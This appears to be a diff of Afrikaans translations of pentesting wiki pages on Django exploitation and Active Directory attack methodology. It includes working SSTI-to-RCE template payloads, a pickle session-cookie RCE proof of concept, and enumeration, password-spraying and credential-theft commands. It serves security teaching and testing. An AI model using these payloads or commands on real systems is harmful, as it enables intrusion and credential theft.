-This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
+Hierdie HackerOne-verslag bied 'n uitstekende, reproduceerbare voorbeeld van die uitbuiting van Django cache wat in 'n SQLite database gestoor is: https://hackerone.com/reports/1415436

 ---

 ## Server-Side Template Injection (SSTI)
-The Django Template Language (DTL) is **Turing-complete**. As deur die gebruiker verskafde data as 'n *template string* gerender word (byvoorbeeld deur `Template(user_input).render()` aan te roep of wanneer `|safe`/`format_html()` auto-escaping verwyder), kan 'n aanvaller volle SSTI → RCE bewerkstellig.
+Die Django Template Language (DTL) is **Turing-complete**. As gebruikersverskafte data as 'n *template string* gerender word (byvoorbeeld deur `Template(user_input).render()` aan te roep of wanneer `|safe`/`format_html()` auto-escaping verwyder), kan 'n attacker volle SSTI → RCE bereik.

-### Opsporing
-1. Kyk vir dinamiese oproepe na `Template()` / `Engine.from_string()` / `render_to_string()` wat *enige* ongesanitiseerde versoekdata insluit.
-2. Stuur 'n tydgebaseerde of rekenkundige payload:
+### Detection
+1. Soek na dinamiese oproepe na `Template()` / `Engine.from_string()` / `render_to_string()` wat *enige* ongesaniteerde versoekdata insluit.
+2. Stuur 'n time-based of arithmetic payload:
 ```django
 {{7*7}}
 ```
-As die gerenderde uitset `49` bevat, word die inset deur die template engine saamgestel.
+As die gerenderde uitset `49` bevat, is die invoer deur die template engine gecompileer.

-### Primitive na RCE
-Django blokkeer direkte toegang tot `__import__`, maar die Python-objekgrafiek is bereikbaar:
+### Primitive to RCE
+Django blokkeer direkte toegang tot `__import__`, maar die Python object graph is bereikbaar:
 ```django
 {{''.__class__.mro()[1].__subclasses__()}}
 ```
-Vind die indeks van `subprocess.Popen` (≈400–500 afhangende van die Python-bou) en voer willekeurige opdragte uit:
+Vind die indeks van `subprocess.Popen` (≈400–500 afhangende van die Python-build) en voer arbitraire opdragte uit:
 ```django
 {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
 ```
 'n veiliger universele gadget is om te herhaal totdat `cls.__name__ == 'Popen'`.

-Diezelfde gadget werk vir **Debug Toolbar** of **Django-CMS** template-rendering funksies wat gebruikersinvoer verkeerd hanteer.
+Dieselfde gadget werk vir **Debug Toolbar** of **Django-CMS** template-rendering funksies wat gebruikersinvoer verkeerd hanteer.

 ---

-### Sien ook: ReportLab/xhtml2pdf PDF export RCE
-Toepassings wat op Django gebou is, integreer gewoonlik xhtml2pdf/ReportLab om views as PDF uit te voer. Wanneer gebruikersgekontroleerde HTML in PDF-generering beland, kan rl_safe_eval uitdrukkings binne drievoudige hakies `[[[ ... ]]]` evalueer wat code execution moontlik maak (CVE-2023-33733). Besonderhede, payloads, en mitigations:
+### Also see: ReportLab/xhtml2pdf PDF export RCE
+Aansoeke gebou op Django integreer gewoonlik xhtml2pdf/ReportLab om views as PDF uit te voer. Wanneer gebruikersbeheerde HTML in PDF-generering beland, kan rl_safe_eval uitdrukkings binne drievoudige hakies `[[[ ... ]]]` evalueer, wat kode-uitvoering moontlik maak (CVE-2023-33733). Besonderhede, payloads, en mitigasies:

 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -47,11 +47,11 @@ Toepassings wat op Django gebou is, integreer gewoonlik xhtml2pdf/ReportLab om v
 ---

 ## Pickle-Backed Session Cookie RCE
-Indien die instelling `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` geaktiveer is (of 'n pasgemaakte serializer wat pickle deserialiseer), sal Django die session cookie *decrypts and unpickles* **before** dit enige view-kode aanroep. Daarom is die besit van 'n geldige signing key (die projek `SECRET_KEY` by verstek) genoeg vir onmiddellike remote code execution.
+If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution.

 ### Exploit Requirements
 * Die bediener gebruik `PickleSerializer`.
-* Die aanvaller weet / kan raai `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, ens.).
+* Die attacker weet / kan raai `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.).

 ### Proof-of-Concept
 ```python
@ -67,22 +67,22 @@ return (os.system, ("id > /tmp/pwned",))
 mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
 print(f"sessionid={mal}")
 ```
-Stuur die resulterende cookie, en die payload sal uitgevoer word met die permissies van die WSGI worker.
+Stuur die resulterende cookie, en die payload word uitgevoer met die permissies van die WSGI worker.

-**Mitigations**: Gebruik die standaard `JSONSerializer`, roteer `SECRET_KEY`, en konfigureer `SESSION_COOKIE_HTTPONLY`.
+**Mitigasies**: Behou die standaard `JSONSerializer`, roteer `SECRET_KEY`, en konfigureer `SESSION_COOKIE_HTTPONLY`.

 ---

-## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
-* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). Laat aanvallers toe om newlines/ANSI codes in loglêers in te smokkel en downstream log-analise te vergiftig.
-* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Skep JSON-sleutels om uit aanhaling te ontsnap en arbitêre SQL uit te voer. Fixed in 4.2.15 / 5.0.8.
+## Onlangse (2023-2025) Hoë-impak Django CVEs wat Pentesters moet nagaan
+* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (gefix 4 Jun 2025). Laat aanvallers toe om reëlbreuke/ANSI-kodes in loglêers in te smokkel en navolgende log-analise te vergiftig. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
+* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Skep JSON-sleutels om uit aanhaling te breek en arbitrêre SQL uit te voer. Reggestel in 4.2.15 / 5.0.8.

-Identifiseer altyd die presiese framework-weergawe via die `X-Frame-Options` foutbladsy of die `/static/admin/css/base.css` hash en toets hierbo waar van toepassing.
+Vingerafdruk altyd die presiese framework-weergawe via die `X-Frame-Options` foutbladsy of die `/static/admin/css/base.css` hash en toets die bogenoemde waar van toepassing.

 ---

-## References
-* Django-sekuriteitsvrystelling – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
+## Verwysings
+* Django sekuriteitsvrystelling – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
 * OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
 * 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)

--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@ -4,55 +4,55 @@

 ## Basiese oorsig

-**Active Directory** dien as 'n grondliggende tegnologie wat netwerkadministrateurs toelaat om doeltreffend **domains**, **users**, en **objects** binne 'n netwerk te skep en te bestuur. Dit is ontwerp om te skaal, wat die organisering van 'n groot aantal gebruikers in hanteerbare **groups** en **subgroups** vergemaklik, terwyl **access rights** op verskeie vlakke beheer word.
+**Active Directory** dien as 'n grondliggende tegnologie wat **network administrators** in staat stel om doeltreffend **domains**, **users**, en **objects** binne 'n netwerk te skep en te bestuur. Dit is ontwerp om te skaal, wat die ordening van 'n groot aantal **users** in hanteerbare **groups** en **subgroups** vergemaklik, terwyl **access rights** op verskeie vlakke beheer word.

-Die struktuur van **Active Directory** bestaan uit drie primêre lae: **domains**, **trees**, en **forests**. 'n **Domain** sluit 'n versameling objeke in, soos **users** of **devices**, wat 'n gemeenskaplike databasis deel. **Trees** is groepe van hierdie domains wat verbind is deur 'n gedeelde struktuur, en 'n **forest** verteenwoordig die versameling van verskeie trees, gekoppel deur **trust relationships**, wat die boonste laag van die organisasiestruktuur vorm. Spesifieke **access** en **communication rights** kan op elkeen van hierdie vlakke aangewys word.
+Die struktuur van **Active Directory** bestaan uit drie primêre lae: **domains**, **trees**, en **forests**. 'n **Domain** beklemtoon 'n versameling van objects, soos **users** of **devices**, wat 'n gemeenskaplike databasis deel. **Trees** is groepe van hierdie domains wat deur 'n gedeelde struktuur verbind is, en 'n **forest** verteenwoordig die versameling van verskeie trees, onderling verbonden deur **trust relationships**, wat die hoogste laag van die organisatoriese struktuur vorm. Spesifieke **access** en **communication rights** kan op elk van hierdie vlakke aangewys word.

-Sleutelkonsepte binne **Active Directory** sluit in:
+Sleutelkonsepte in **Active Directory** sluit in:

-1. **Directory** – Huisves alle inligting rakende Active Directory-objekte.
-2. **Object** – Dui entiteite binne die directory aan, insluitende **users**, **groups**, of **shared folders**.
-3. **Domain** – Dien as 'n houer vir directory-objekte, met die vermoë dat meerdere domains binne 'n **forest** kan bestaan, elk met hul eie versameling objeke.
+1. **Directory** – Berg alle inligting wat betrekking het op Active Directory objects.
+2. **Object** – Dui entiteite in die directory aan, insluitend **users**, **groups**, of **shared folders**.
+3. **Domain** – Dien as 'n houer vir directory objects, met die vermoë dat meerdere domains binne 'n **forest** kan voortbestaan, elk met hul eie versameling objects.
 4. **Tree** – 'n Groepering van domains wat 'n gemeenskaplike root domain deel.
-5. **Forest** – Die hoogste vlak van die organisasie in Active Directory, saamgestel uit verskeie trees met **trust relationships** tussen hulle.
+5. **Forest** – Die hoogste vlak van die organisatoriese struktuur in Active Directory, saamgestel uit verskeie trees met **trust relationships** tussen hulle.

-**Active Directory Domain Services (AD DS)** omvat 'n reeks dienste wat kritiek is vir die gesentraliseerde bestuur en kommunikasie binne 'n netwerk. Hierdie dienste sluit in:
+**Active Directory Domain Services (AD DS)** omvatt 'n reeks dienste wat kritiek is vir die gesentraliseerde bestuur en kommunikasie binne 'n netwerk. Hierdie dienste sluit in:

-1. **Domain Services** – Sentreer datastoor en bestuur interaksies tussen **users** en **domains**, insluitend **authentication** en **search** funksies.
-2. **Certificate Services** – Beheer die skep, verspreiding, en bestuur van veilige **digital certificates**.
+1. **Domain Services** – Sentraliseer data berging en bestuur interaksies tussen **users** en **domains**, insluitend **authentication** en **search** funksies.
+2. **Certificate Services** – Beheer die skep, verspreiding en bestuur van veilige **digital certificates**.
 3. **Lightweight Directory Services** – Ondersteun directory-enabled toepassings deur die **LDAP protocol**.
-4. **Directory Federation Services** – Verskaf **single-sign-on** vermoëns om gebruikers oor meerdere webtoepassings in een sessie te verifieer.
-5. **Rights Management** – Help om kopieregmateriaal te beskerm deur ongeoorloofde verspreiding en gebruik te beheer.
-6. **DNS Service** – Krities vir die resolusie van **domain names**.
+4. **Directory Federation Services** – Verskaf **single-sign-on** vermoëns om users oor meerder webtoepassings in een sessie te autentiseer.
+5. **Rights Management** – Help om kopiereg-beskermde materiaal te beskerm deur die ongemagtigde verspreiding en gebruik daarvan te reguleer.
+6. **DNS Service** – Krities vir die oplos van **domain names**.

-Vir 'n meer gedetaileerde verduideliking kyk: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
+For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)

 ### **Kerberos Authentication**

-Om te leer hoe om 'n **AD** aan te val, moet jy die **Kerberos authentication process** baie goed verstaan.\
+Om te leer hoe om **attack an AD** sal jy die **Kerberos authentication process** baie goed moet **understand**.\
 [**Read this page if you still don't know how it works.**](kerberos-authentication.md)

 ## Spiekbrief

-Jy kan baie by [https://wadcoms.github.io/](https://wadcoms.github.io) kry om vinnig 'n oorsig te hê van watter opdragte jy kan uitvoer om 'n AD te enumerate/exploit.
+Jy kan baie by [https://wadcoms.github.io/](https://wadcoms.github.io) kry om 'n vinnige oorsig te hê van watter commands jy kan gebruik om 'n AD te enumerate/exploit.

 > [!WARNING]
-> Kerberos communication **requires a full qualifid name (FQDN)** vir die uitvoering van aksies. As jy probeer om toegang tot 'n masjien te kry via die IP-adres, **sal dit NTLM gebruik en nie Kerberos nie**.
+> Kerberos-kommunikasie **requires a full qualifid name (FQDN)** om aksies uit te voer. As jy probeer om toegang te kry tot 'n masjien deur die IP-adres, **it'll use NTLM and not kerberos**.

 ## Recon Active Directory (No creds/sessions)

-As jy net toegang tot 'n AD-omgewing het maar jy het geen credentials/sessies nie, kan jy:
+As jy net toegang tot 'n AD-omgewing het maar geen credentials/sessies nie, kan jy:

 - **Pentest the network:**
- Scan die netwerk, vind masjiene en oop poorte en probeer om **vulnerabilities** te **exploit** of **extract credentials** daaruit (byvoorbeeld, [printers could be very interesting targets](ad-information-in-printers.md)).
- DNS-enumerasie kan inligting gee oor sleutelbedieners in die domain soos web, printers, shares, vpn, media, ens.
+- Scan die netwerk, vind masjiene en oop poorte en probeer **exploit vulnerabilities** of **extract credentials** daaruit (byvoorbeeld, [printers could be very interesting targets](ad-information-in-printers.md)).
+- DNS-ontleding kan inligting gee oor sleutelbedieners in die domain soos web, printers, shares, vpn, media, ens.
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Kyk na die Algemene [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) vir meer inligting oor hoe om dit te doen.
- **Check for null and Guest access on smb services** (dit sal nie op moderne Windows-weergawes werk nie):
+- Kyk na die Algemene [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) om meer inligting te kry oor hoe om dit te doen.
+- **Check for null and Guest access on smb services** (dit gaan nie op moderne Windows weergawes werk nie):
 - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
 - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- 'n Meer gedetailleerde gids oor hoe om 'n SMB-bediener te enumerate kan hier gevind word:
+- 'n Verdere gedetailleerde gids oor hoe om 'n SMB-bediener te enum kan hier gevind word:


 {{#ref}}
@ -61,7 +61,7 @@ As jy net toegang tot 'n AD-omgewing het maar jy het geen credentials/sessies ni

 - **Enumerate Ldap**
 - `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- 'n Meer gedetailleerde gids oor hoe om LDAP te enumerate kan hier gevind word (gee **special attention to the anonymous access**):
+- 'n Meer gedetailleerde gids oor hoe om LDAP te enum kan hier gevind word (gee **special attention to the anonymous access**):


 {{#ref}}
@ -70,20 +70,20 @@ As jy net toegang tot 'n AD-omgewing het maar jy het geen credentials/sessies ni

 - **Poison the network**
 - Versamel credentials deur [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Verkry toegang tot 'n host deur [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
+- Kry toegang tot 'n host deur [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
 - Versamel credentials deur **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Onttrek gebruikersname/namens uit interne dokumente, sosiale media, dienste (veral web) binne die domain-omgewings en ook van publiek beskikbare bronne.
- As jy die volle name van maatskappywerkers vind, kan jy verskillende AD **username conventions** probeer ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Die mees algemene konvensies is: _NameSurname_, _Name.Surname_, _NamSur_ (3 letters van elk), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
- Tools:
+- Onttrek usernames/names uit interne dokumente, social media, Dienste (hoofsaaklik web) binne die domain-omgewings en ook vanaf openbare bronne.
+- As jy die volle name van maatskappy werknemers vind, kan jy verskeie AD **username conventions** probeer ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Die mees algemene konvensies is: _NameSurname_, _Name.Surname_, _NamSur_ (3 letters van elkeen), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
+- Gereedskap:
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)

-### Gebruikerenumerasie
+### User enumeration

- **Anonymous SMB/LDAP enum:** Kyk die [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) en [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) bladsye.
- **Kerbrute enum**: Wanneer 'n **invalid username is requested** sal die bediener antwoord met die **Kerberos error** kode _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, wat ons toelaat om te bepaal dat die gebruikersnaam ongeldig was. **Valid usernames** sal óf 'n **TGT in 'n AS-REP** reaksie óf die fout _KRB5KDC_ERR_PREAUTH_REQUIRED_ ontlok, wat aandui dat die gebruiker pre-authentication moet verrig.
- **No Authentication against MS-NRPC**: Gebruik auth-level = 1 (No authentication) teen die MS-NRPC (Netlogon) koppelvlak op domain controllers. Die metode roep die `DsrGetDcNameEx2` funksie aan nadat dit aan die MS-NRPC koppelvlak gebind het om te kontroleer of die gebruiker of rekenaar bestaan sonder enige credentials. Die [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tool implementeer hierdie tipe enumerasie. Die navorsing kan hier gevind word [hier](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
+- **Anonymous SMB/LDAP enum:** Kyk na die [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) en [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) bladsye.
+- **Kerbrute enum**: Wanneer 'n **invalid username is requested** sal die bediener antwoord met die **Kerberos error** kode _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, wat ons toelaat om te bepaal dat die username ongeldig was. **Valid usernames** sal óf die **TGT in a AS-REP** reaksie oplewer óf die fout _KRB5KDC_ERR_PREAUTH_REQUIRED_, wat aandui dat die user pre-authentication moet uitvoer.
+- **No Authentication against MS-NRPC**: Gebruik auth-level = 1 (No authentication) teen die MS-NRPC (Netlogon) koppelvlak op domain controllers. Die metode roep die `DsrGetDcNameEx2` funksie aan nadat die MS-NRPC koppelvlak gebind is om te kontroleer of die user of rekenaar bestaan sonder enige credentials. Die [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tool implementeer hierdie tipe enumeration. Die navorsing kan hier gevind word [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
 ```
 - **OWA (Outlook Web Access) Server**

-As jy een van hierdie servers in die netwerk gevind het, kan jy ook **user enumeration against it** uitvoer. Byvoorbeeld, jy kan die tool [**MailSniper**](https://github.com/dafthack/MailSniper):
+As jy een van hierdie servers in die netwerk vind, kan jy ook **user enumeration against it** uitvoer. Byvoorbeeld, jy kan die tool [**MailSniper**](https://github.com/dafthack/MailSniper) gebruik:
 ```bash
 ipmo C:\Tools\MailSniper\MailSniper.ps1
 # Get info about the domain
@ -110,18 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
 Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
 ```
 > [!WARNING]
-> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
+> Jy kan lyste van gebruikersname vind in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  en hierdie een ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
 >
-> However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames.
+> Jy behoort egter die **name van die mense wat by die maatskappy werk** te hê van die recon-stap wat jy voorheen moes uitvoer. Met die voor- en vanname kan jy die script [**namemash.py**](https://gist.github.com/superkojiman/11076951) gebruik om potensiële geldige gebruikersname te genereer.

-### As jy een of meer gebruikersname ken
+### Wanneer jy een of meer gebruikersname ken

-Ok, jy weet dus dat jy reeds 'n geldige gebruikersnaam het maar geen wagwoorde nie... Probeer dan:
-
- [**ASREPRoast**](asreproast.md): As 'n gebruiker **nie die attribuut** _DONT_REQ_PREAUTH_ **het nie** kan jy 'n AS_REP boodskap vir daardie gebruiker versoek wat data sal bevat wat deur 'n afleiding van die gebruiker se wagwoord versleuteld is.
- [**Password Spraying**](password-spraying.md): Probeer die mees **algemene wagwoorde** met elk van die ontdekte gebruikers; dalk gebruik 'n gebruiker 'n swak wagwoord (onthou die wagwoordbeleid!).
- Let daarop dat jy ook **OWA servers kan spray** om toegang tot die gebruikers se mail servers te probeer kry.
+Ok, dus jy weet jy het reeds 'n geldige gebruikersnaam maar geen wagwoorde nie... Probeer dan:

+- [**ASREPRoast**](asreproast.md): As 'n gebruiker **nie** die attribuut _DONT_REQ_PREAUTH_ het nie, kan jy 'n AS_REP message vir daardie gebruiker versoek wat data sal bevat wat geënkripteer is deur 'n afleiding van die gebruiker se wagwoord.
+- [**Password Spraying**](password-spraying.md): Probeer die mees **algemene wagwoorde** vir elke ontdekte gebruiker; dalk gebruik 'n gebruiker 'n swak wagwoord (hou die wagwoordbeleid in gedagte!).
+- Let wel dat jy ook **spray OWA servers** kan gebruik om toegang tot die gebruikers se mail servers te probeer kry.

 {{#ref}}
 password-spraying.md
@ -129,8 +128,7 @@ password-spraying.md

 ### LLMNR/NBT-NS Poisoning

-Jy mag in staat wees om challenge hashes te verkry om te crack deur poisoning van sekere netwerkprotokolle:
-
+Jy kan dalk sekere challenge **hashes** bekom om deur poisoning van sekere netwerkprotokolle te kraak:

 {{#ref}}
 ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -138,58 +136,55 @@ Jy mag in staat wees om challenge hashes te verkry om te crack deur poisoning va

 ### NTLM Relay

-As jy daarin geslaag het om die Active Directory te enumereer sal jy meer e-posadresse en 'n beter begrip van die netwerk hê. Jy mag in staat wees om NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) te forceer om toegang tot die AD-omgewing te kry.
+As jy daarin geslaag het om die Active Directory te enumerate sal jy **meer e-posadresse en 'n beter begrip van die netwerk** hê. Jy kan dalk NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) afdwing om toegang tot die AD-omgewing te kry.

 ### Steal NTLM Creds

-As jy toegang tot ander rekenaars of shares het met die **null** of **guest** gebruiker, kan jy lêers plaas (soos 'n SCF file) wat, as dit op een of ander wyse geopen word, 'n **NTLM authentication** teenoor jou sal trigger sodat jy die **NTLM challenge** kan steel om dit te crack:
-
+As jy ander rekenaars of shares kan betree met die **null** of **guest user**, kan jy lêers plaas (soos 'n SCF file) wat, as dit op een of ander manier geraak word, 'n NTLM-authentisering teen jou sal trigger sodat jy die **NTLM challenge** kan steel om dit te kraak:

 {{#ref}}
 ../ntlm/places-to-steal-ntlm-creds.md
 {{#endref}}

-## Enumerasie van Active Directory MET credentials/sessie
+## Enumerating Active Directory WITH credentials/session

-Vir hierdie fase moet jy die **credentials of 'n sessie van 'n geldige domain account** gekompromitteer hê. As jy geldige credentials of 'n shell as 'n domain user het, moet jy onthou dat die opsies wat vroeër gegee is steeds opsies is om ander gebruikers te kompromitteer.
+Vir hierdie fase moet jy die **credentials of 'n sessie van 'n geldige domeinrekening** gekompromitteer hê. As jy geldige credentials of 'n shell as 'n domeingebruiker het, **onthou dat die opsies hierbo steeds opsies is om ander gebruikers te kompromitteer**.

 Voordat jy met die geauthentiseerde enumerasie begin, moet jy weet wat die **Kerberos double hop problem** is.

-
 {{#ref}}
 kerberos-double-hop-problem.md
 {{#endref}}

 ### Enumerasie

-Om 'n rekening te kompromitteer is 'n groot stap om die hele domein te begin kompromitteer, omdat jy in staat sal wees om die **Active Directory Enumeration** te begin:
+Die kompromittering van 'n rekening is 'n **groot stap om die hele domein te begin kompromitteer**, omdat jy dan die **Active Directory enumerasie** kan begin:

-Wat [**ASREPRoast**](asreproast.md) betref, kan jy nou elke moontlike kwesbare gebruiker vind; en wat [**Password Spraying**](password-spraying.md) betref kan jy 'n **lys van al die gebruikersname** kry en die wagwoord van die gekompromitteerde rekening probeer, leë wagwoorde en nuwe veelbelovende wagwoorde.
+Met betrekking tot [**ASREPRoast**](asreproast.md) kan jy nou elke moontlike kwesbare gebruiker vind, en met betrekking tot [**Password Spraying**](password-spraying.md) kan jy 'n **lys van alle gebruikersname** kry en die wagwoord van die gekompromitteerde rekening, leë wagwoorde en nuwe belowende wagwoorde probeer.

 - Jy kan die [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) gebruik
- Jy kan ook [**powershell for recon**](../basic-powershell-for-pentesters/index.html) gebruik wat meer onopvallend sal wees
- Jy kan ook [**use powerview**](../basic-powershell-for-pentesters/powerview.md) gebruik om meer gedetailleerde inligting te onttrek
- Nog 'n wonderlike tool vir recon in 'n Active Directory is [**BloodHound**](bloodhound.md). Dit is **nie baie stealthy** (afhangend van die versamelmetodes wat jy gebruik nie), maar **as dit jou nie omgee** nie, moet jy dit beslis probeer. Vind waar gebruikers RDP kan, vind paaie na ander groepe, ens.
- **Ander geoutomatiseerde AD enumerasie-instrumente is:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records of the AD**](ad-dns-records.md) aangesien dit interessante inligting kan bevat.
- 'n **instrument met 'n GUI** wat jy kan gebruik om die directory te enumerasieer is **AdExplorer.exe** van die **SysInternal** Suite.
- Jy kan ook in die LDAP-databasis soek met **ldapsearch** om na credentials te kyk in velde _userPassword_ & _unixUserPassword_, of selfs in _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) vir ander metodes.
- As jy **Linux** gebruik, kan jy die domein ook enumereer met [**pywerview**](https://github.com/the-useless-one/pywerview).
- Jy kan ook geoutomatiseerde gereedskap probeer soos:
+- Jy kan ook [**powershell for recon**](../basic-powershell-for-pentesters/index.html) gebruik, wat minder sigbaar (meer stealthy) sal wees
+- Jy kan ook [**use powerview**](../basic-powershell-for-pentesters/powerview.md) om meer gedetaileerde inligting te onttrek
+- Nog 'n uitstekende hulpmiddel vir recon in 'n Active Directory is [**BloodHound**](bloodhound.md). Dit is **nie baie stealthy** nie (afhangend van die versamelmetodes wat jy gebruik), maar **as dit jou nie pla nie**, moet jy dit beslis probeer. Vind waar gebruikers kan RDP, vind paaie na ander groepe, ens.
+- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
+- Kyk na [**DNS records of the AD**](ad-dns-records.md) aangesien dit interessante inligting kan bevat.
+- 'n hulpmiddel met 'n GUI wat jy kan gebruik om die directory te enumerate is **AdExplorer.exe** van die **SysInternal** Suite.
+- Jy kan ook in die LDAP-databasis soek met **ldapsearch** om na credentials te soek in velde _userPassword_ & _unixUserPassword_, of selfs in _Description_. Sien [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) vir ander metodes.
+- As jy **Linux** gebruik, kan jy die domein ook deursoek met [**pywerview**](https://github.com/the-useless-one/pywerview).
+- Jy kan ook geautomatiseerde gereedskap probeer soos:
 - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
 - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Extracting all domain users**
+- **Uittrekking van alle domeingebruikers**

-Dit is baie maklik om al die domeingebruikersname van Windows te bekom (`net user /domain`, `Get-DomainUser` of `wmic useraccount get name,sid`). In Linux kan jy gebruik: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` of `enum4linux -a -u "user" -p "password" <DC IP>`
